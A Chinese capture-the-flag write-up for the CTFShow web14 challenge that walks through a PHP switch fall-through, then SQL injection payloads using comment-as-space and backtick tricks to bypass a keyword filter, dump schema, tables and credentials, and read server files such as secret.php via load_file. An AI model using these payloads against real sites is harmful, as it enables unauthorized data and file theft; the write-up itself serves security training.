【CTF Web】CTFShow web14 Writeup(PHP+switch case 穿透+SQL注入+文件读取)

web14

5


解法

php 复制代码
<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

关键:

php 复制代码
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";

如果没有 break,进入 case 后会一直执行到 switch 结尾。

发送 GET 请求。

bash 复制代码
https://dcb194cc-cfe4-4ebe-bbed-abf189549b6b.challenge.ctf.show/?c=3

得到 $url 的值。

访问:

bash 复制代码
https://dcb194cc-cfe4-4ebe-bbed-abf189549b6b.challenge.ctf.show/here_1s_your_f1ag.php

有个弹窗。

尝试 SQL 注入。

sql 复制代码
?query=-1 or 1=1; --+

没有数据返回。

用 /**/ 代替空格,用 # 代替 --+。

sql 复制代码
?query=-1/**/or/**/1=1;/**/#

注入成功。

爆库名。

sql 复制代码
?query=-1/**/union/**/select/**/group_concat(schema_name)/**/from/**/information_schema.schemata;/**/#

爆表名。

sql 复制代码
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web';/**/#

又没有返回了。

查看网页源代码。

关键:

php 复制代码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
}

原来是过滤了

  • "information_schema.tables"
  • "information_schema.columns"
  • "linestring"
  • "polygon"

用 ` 包围 tables。爆表名。

sql 复制代码
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web';/**/#

用 ` 包围 columns。爆列名。

sql 复制代码
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema='web';/**/#
sql 复制代码
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content;/**/#

flag 看起来不在这里。

Wappalyzer 识别到 Nginx,网站默认根目录:/var/www/html/。

看看 php 文件。

sql 复制代码
?query=-1/**/union/**/select/**/load_file("/var/www/html/here_1s_your_f1ag.php")/**/#
sql 复制代码
?query=-1/**/union/**/select/**/load_file("/var/www/html/config.php")/**/#
sql 复制代码
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")/**/#

找到线索:/real_flag_is_here。

javascript 复制代码
alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')
bash 复制代码
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")/**/#

找到 flag。

Flag

bash 复制代码
ctfshow{329c3b41-f799-4f1d-bd86-f95a69d036a1}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的 。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为 ,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的 。对于因使用这些技术而导致的任何后果,博主不承担任何责任

相关推荐
Eric_见嘉9 小时前
打开这个 VSC 设置「组件引用位置」和数量就都清楚了
前端·typescript·visual studio code
李高钢10 小时前
Python Tornado 框架入门:从零搭建你的第一个异步 Web 应用
前端·python·tornado
宁风10 小时前
JavaScript:函数体系-1
前端·javascript
mmsx10 小时前
Android 手簿 ADB 无线调试全攻略:USB 转 WiFi 一键连接
android·前端
guwentian10 小时前
Rolldown vs esbuild vs Webpack:Rust 打包器大战我们该怎么选
前端·webpack·rust·esbuild
特立独行的猫A10 小时前
用纯 Rust 重写 Podcastfy:把网页、PDF 和一段文字,变成一档双人对话播客
前端
oooo_z10 小时前
美股历史K线数据API接口选型指南:iTick覆盖1分钟到月线全周期
服务器·前端·javascript
今日无bug10 小时前
从 0 到 1 搭建端侧 AI 项目:DeepSeek-R1 + WebGPU + React + TS + Tailwind 全栈笔记
前端·react.js·typescript
clz131452111 小时前
设备反欺诈的四大支柱:从设备指纹到关联图谱
开发语言·php
mmsx11 小时前
MapLibre 实战 08|GPS 点漂了几百米才被发现:GCJ-02 纠偏原理与"转两次"陷阱
android·前端